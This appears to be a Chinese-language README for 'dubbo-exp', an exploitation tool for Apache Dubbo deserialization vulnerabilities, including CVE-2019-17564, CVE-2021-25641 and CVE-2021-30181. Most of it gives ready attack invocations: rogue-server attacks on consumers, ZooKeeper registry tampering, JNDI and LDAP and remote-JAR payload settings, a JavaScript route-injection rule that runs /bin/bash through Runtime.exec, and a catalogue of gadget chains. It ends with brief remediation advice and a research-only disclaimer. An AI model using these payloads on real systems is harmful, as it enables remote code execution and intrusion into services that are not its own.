dubbo-exp

Project Url: threedr3am/dubbo-exp
Introduction: Dubbo 反序列化一键快速攻击测试工具,支持 dubbo 协议和 http 协议,支持 hessian 反序列化和 java 原生反序列化。
More: Author   ReportBugs   
Tags:

工具仅用于安全研究以及内部自查,禁止使用工具发起非法攻击,造成的后果使用者负责

  • 零、编译&构建

    mvn assembly:single
    
  • 一、使用帮助

      usage: java -jar exp.jar [OPTION]
      - -h --help               帮助信息
      - -l --list             输出所有 gadget 信息
      - -g --gadget <arg>          gadget 名称
      - -a --args <arg>      gadget 入参,多个参数使用多次该命令传入,例-a http://127.0.0.1:80/ -a Calc
      - -p --protocol <arg>   [dubbo|http] 通讯协议名称,默认缺省 dubbo
      - -s --serialization <arg>          [hessian|java] 序列化类型,默认缺省 hessian
      - -t --target <arg>          目标,例:127.0.0.1:20880
      - -f --fastcheck <arg>   快速攻击检查(使用预置参数数据文件,遍历所有 gadget 进行攻击检查),参数为数据文件路径,参考文件 check.data
      - -e --evil    恶意服务模式,也就是通过返回恶意序列化数据给客户端,从而攻击连接进来的服务
      - -evilHost <arg>    恶意服务 ip
      - -evilPort <arg>    恶意服务 port
      - -registry <arg>    [zookeeper],暂时仅实现了攻击 zookeeper,恶意服务模式下,攻击注册中心,控制客户端连接到本恶意服务,也就是通过返回恶意序列化数据给客户端,从而攻击连接进来的服务
      - -scheme <arg>      [auth|digest],zookeeper 认证类型
      - -username <arg>    [zookeeperUsername],zookeeper 认证账号
      - -password <arg>    [zookeeperPassword],zookeeper 认证密码,digest:要对 passWord 进行 MD5 哈希,然后再进行 bese64
      - -registryURL <arg> zookeeper url,例:127.0.0.1:2181
      - --wait <arg> 等待客户端回连超时时间,默认 1000(毫秒)
    
  • 二、example

    • 1、快速检测

      • 1.1、恶意服务-被动攻击(攻击客户端 consumer) PS:使用被动攻击快速检测办法,有多少个 gadget 就会打开多少个恶意服务端口(因为客户端存在失败记录,不会再连接), 每个端口返回一种 gadget 恶意序列化数据,等待客户端连接上来,会比较慢,就是视业务调用频率和心跳,所以,建议使用单个 gadget 精准打击。

        例(使用恶意服务快速被动攻击 dubbo 客户端):

          -e
          -evilHost
          127.0.0.1
          -evilPort
          44444
          --serialization
          java
          --wait
          5000
          -f
          /Users/xuanyonghao/security/java/my-project/dubbo-exp/check.data
        

        例(使用恶意服务并主动篡改 zookeeper,快速主动攻击 dubbo 客户端):

          -e
          -evilHost
          127.0.0.1
          -evilPort
          44444
          -registry
          zookeeper
          -registryURL
          127.0.0.1:2181
          --serialization
          java
          --wait
          5000
          -f
          /Users/xuanyonghao/security/java/my-project/dubbo-exp/check.data
        
      • 1.2、快速主动攻击(攻击服务端 provider) 例(快速攻击检测,若不指定序列化类型,则全部 gadget 都会尝试):

          java -jar dubbo-exp.jar
          --target 127.0.0.1:20881 
          --fastcheck /Users/threedr3am/dubbo-exp/check.data
        

        check.dat 预置参数文件内容:

          ### 快速漏洞攻击参数配置(将会根据相应匹配的参数选择对应的所有 gadget 攻击)
          ### 多个参数英文逗号分割
        
          #JNDI 注入 url,JNDI 注入需要考虑对方 jdk 版本,若是 jdk8,
          # 当小于 jdk8u121,可以使用 rmi 服务进行 JNDI 注入攻击,
          # jdk8u121~jdk8u191 之间可以选择 ldap 服务替代,
          # jdk8u191+需要使用 tomcat-el 依赖打法,或者使用 gadget
          JNDI=ldap://127.0.0.1:43658/Calc
        
          #执行的 shell 命令
          CMD=/System/Applications/Calculator.app/Contents/MacOS/Calculator
          #或者 CMD=/bin/bash,-c,/System/Applications/Calculator.app/Contents/MacOS/Calculator
        
          #Reference 远程 class 代码 url(在 http 服务器根存在一个 Calc.class)
          CODEBASE=http://127.0.0.1:80,Calc
        
          #恶意 jar 包 url(在 http 服务器根存在一个 R.jar,jar 包中存在一个恶意的 class - Calc.class)
          JAR=http://127.0.0.1:8080/R.jar,Calc
        
          #DNS 服务 url
          DNS=http://xxxx.ceye.io
        
    • 2、特定 gadget 检测

      • 2.1、主动攻击(攻击服务端 provider) 例(测试 dubbo 默认缺省情况下使用的 dubbo 协议+hessian2 反序列化):

        
          --target
          127.0.0.1:20881
          --protocol
          dubbo
          --serialization
          hessian
          --gadget
          rome
          --args
          ldap://127.0.0.1:43658/Calc
        

        例(测试 dubbo 在使用 http 协议+java 反序列化,dubbo < 2.7.5 前使用 http 协议,后续改为了 jsonrpc)CVE-2019-17564:

          --target
          127.0.0.1:8080/org.apache.dubbo.samples.http.api.DemoService
          --protocol
          http
          --serialization
          java
          --gadget
          CommonsCollections8
          --args
          /System/Applications/Calculator.app/Contents/MacOS/Calculator
        
      • 2.2、恶意服务-被动攻击(攻击客户端 consumer) 例(使用恶意服务攻击 dubbo 客户端):
          -e
          -evilHost
          127.0.0.1
          -evilPort
          44444
          --serialization
          java
          --gadget
          CommonsCollections8
          --args
          /System/Applications/Calculator.app/Contents/MacOS/Calculator
        
      • 2.3、恶意服务-主动攻击(攻击客户端 consumer) 例(使用恶意服务并主动篡改 zookeeper,主动攻击 dubbo 客户端):
          -e
          -evilHost
          127.0.0.1
          -evilPort
          44444
          -registry
          zookeeper
          -registryURL
          127.0.0.1:2181
          --serialization
          java
          --gadget
          CommonsCollections8
          -f
          /Users/xuanyonghao/security/java/my-project/dubbo-exp/check.data
        
    • 3、route 攻击(CVE-2021-30181)

      • 3.1、注入 js 脚本主动攻击(攻击客户端 consumer) 例(通过在 zookeeper 注入脚本,实现攻击客户端 consumer):
          -registry
          zookeeper
          -registryURL
          127.0.0.1:2181
          -route
          script
          -rule
          "s=[3];s[0]='/bin/bash';s[1]='-c';s[2]='open -a calculator';java.lang.Runtime.getRuntime().exec(s);"
          -routeDeleteTtl
          5
        
  • 三、gadget 列表


    1. 名称:resin
    2. 需要入参数量:2
    3. 参数说明:arg[0]=恶意类所在 web 服务器 ip,例:http://127.0.0.1:8080/,arg[1]=恶意类类名,此处需要恶意类无包名编译出来的
    4. 序列化类型:hessian
    5. 依赖:com.caucho:quercus:* dubbo 版本<=2.7.5

    1. 名称:rome
    2. 需要入参数量:1
    3. 参数说明:arg[0]=ldap 引用外部 class 地址,例:ldap://127.0.0.1:43658/Calc(ldap 协议的 JNDI 服务可打 jdk8u191 及以下版本,大于 jdk8u191 需要使用 gadget 字节码)
    4. 序列化类型:hessian
    5. 依赖:com.rometools:rome:* dubbo 版本<=2.7.5

    1. 名称:spring-aop
    2. 需要入参数量:1
    3. 参数说明:arg[0]=ldap 引用外部 class 地址,例:ldap://127.0.0.1:43658/Calc(ldap 协议的 JNDI 服务可打 jdk8u191 及以下版本,大于 jdk8u191 需要使用 gadget 字节码)
    4. 序列化类型:hessian
    5. 依赖:org.springframework:spring-aop 受 Spring 版本限制

    1. 名称:xbean
    2. 需要入参数量:2
    3. 参数说明:arg[0]=恶意类所在 web 服务器 ip,例:http://127.0.0.1:8080/,arg[1]=恶意类类名,此处需要恶意类无包名编译出来的
    4. 序列化类型:hessian
    5. 依赖:org.apache.xbean:xbean-naming:* dubbo 版本<2.7.5

    1. 名称:CommonsBeanutils
    2. 需要入参数量:1
    3. 参数说明:arg[0]=ldap 引用外部 class 地址,例:ldap://127.0.0.1:43658/Calc(ldap 协议的 JNDI 服务可打 jdk8u191 及以下版本,大于 jdk8u191 需要使用 gadget 字节码)
    4. 序列化类型:java
    5. 依赖:

    1. 名称:CommonsBeanutils1
    2. 需要入参数量:1
    3. 参数说明:arg[0]=cmd
    4. 序列化类型:java
    5. 依赖:commons-beanutils:commons-beanutils:1.9.2

    1. 名称:CommonsCollections1
    2. 需要入参数量:1
    3. 参数说明:arg[0]=cmd
    4. 序列化类型:java
    5. 依赖:commons-collections:commons-collections:3.1

    1. 名称:CommonsCollections2
    2. 需要入参数量:1
    3. 参数说明:arg[0]=cmd
    4. 序列化类型:java
    5. 依赖:org.apache.commons:commons-collections4:4.0

    1. 名称:CommonsCollections3
    2. 需要入参数量:1
    3. 参数说明:arg[0]=cmd
    4. 序列化类型:java
    5. 依赖:commons-collections:commons-collections:3.1

    1. 名称:CommonsCollections3ForLoadJar
    2. 需要入参数量:2
    3. 参数说明:arg[0]=jar 包下载地址,例:http://127.0.0.1:8080/R.jar,arg[1]=jar 包中恶意类名称
    4. 序列化类型:java
    5. 依赖:commons-collections:commons-collections:3.1

    1. 名称:CommonsCollections5
    2. 需要入参数量:1
    3. 参数说明:arg[0]=cmd
    4. 序列化类型:java
    5. 依赖:commons-collections:commons-collections:3.1

    1. 名称:CommonsCollections5ForLoadJar
    2. 需要入参数量:2
    3. 参数说明:arg[0]=jar 包下载地址,例:http://127.0.0.1:8080/R.jar,arg[1]=jar 包中恶意类名称
    4. 序列化类型:java
    5. 依赖:commons-collections:commons-collections:3.1

    1. 名称:CommonsCollections6
    2. 需要入参数量:1
    3. 参数说明:arg[0]=cmd
    4. 序列化类型:java
    5. 依赖:commons-collections:commons-collections:3.1

    1. 名称:CommonsCollections6ForLoadJar
    2. 需要入参数量:2
    3. 参数说明:arg[0]=jar 包下载地址,例:http://127.0.0.1:8080/R.jar,arg[1]=jar 包中恶意类名称
    4. 序列化类型:java
    5. 依赖:commons-collections:commons-collections:3.1

    1. 名称:CommonsCollections7
    2. 需要入参数量:1
    3. 参数说明:arg[0]=cmd
    4. 序列化类型:java
    5. 依赖:commons-collections:commons-collections:3.1

    1. 名称:CommonsCollections8
    2. 需要入参数量:1
    3. 参数说明:arg[0]=cmd
    4. 序列化类型:java
    5. 依赖:org.apache.commons:commons-collections4:4.0

    1. 名称:CommonsCollections9
    2. 需要入参数量:1
    3. 参数说明:arg[0]=cmd
    4. 序列化类型:java
    5. 依赖:commons-collections:commons-collections:3.1

    1. 名称:CommonsCollections10
    2. 需要入参数量:1
    3. 参数说明:arg[0]=cmd
    4. 序列化类型:java
    5. 依赖:commons-collections:commons-collections:3.1

    1. 名称:CommonsCollections11
    2. 需要入参数量:1
    3. 参数说明:arg[0]=cmd
    4. 序列化类型:java
    5. 依赖:commons-collections:commons-collections:3.2.1

    1. 名称:URLDNS
    2. 需要入参数量:1
    3. 参数说明:arg[0]=dns server url
    4. 序列化类型:java
    5. 依赖:

    1. 名称:C3P0
    2. 需要入参数量:2
    3. 参数说明:arg[0]=恶意类所在 web 服务器 ip,例:http://127.0.0.1:8080/,arg[1]=恶意类类名,此处需要恶意类无包名编译出来的
    4. 序列化类型:java
    5. 依赖:com.mchange:c3p0:0.9.5.2 com.mchange:mchange-commons-java:0.2.11

    1. 名称:rome
    2. 需要入参数量:1
    3. 参数说明:arg[0]=cmd
    4. 序列化类型:java
    5. 依赖:com.rometools:rome:*
  • 四、漏洞修复建议
    • 默认缺省的 dubbo 协议 hessian 反序列化漏洞:参考 learnjavabug 项目 module->dubbo/dubbo-hessian2-safe-reinforcement,使用反序列化黑名单形式进行安全加固
    • dubbo 版本<2.7.5,http 协议反序列化漏洞(CVE-2019-17564):升级到最新版本 2.7.5 修复
    • dubbo 版本<=2.7.7、<=2.6.8、2.5.x,注册中心(zookeeper)未授权或者弱口令导致可读写,进行恶意服务 DubboRouge 被动攻击(CVE-2021-25641):建议检查 Zookeeper 这些服务的脆弱性进行防护,并升级到 2.7.8、2.6.9 修复
    • dubbo 版本<=2.7.7、<=2.6.8、2.5.x,注册中心(zookeeper)未授权或者弱口令导致可读写,插入恶意脚本攻击客户端 consumer(CVE-2021-30181):建议检查 Zookeeper 这些服务的脆弱性进行防护,并升级到 2.7.8、2.6.9 修复
Apps
About Me
GitHub: Trinea
Facebook: Dev Tools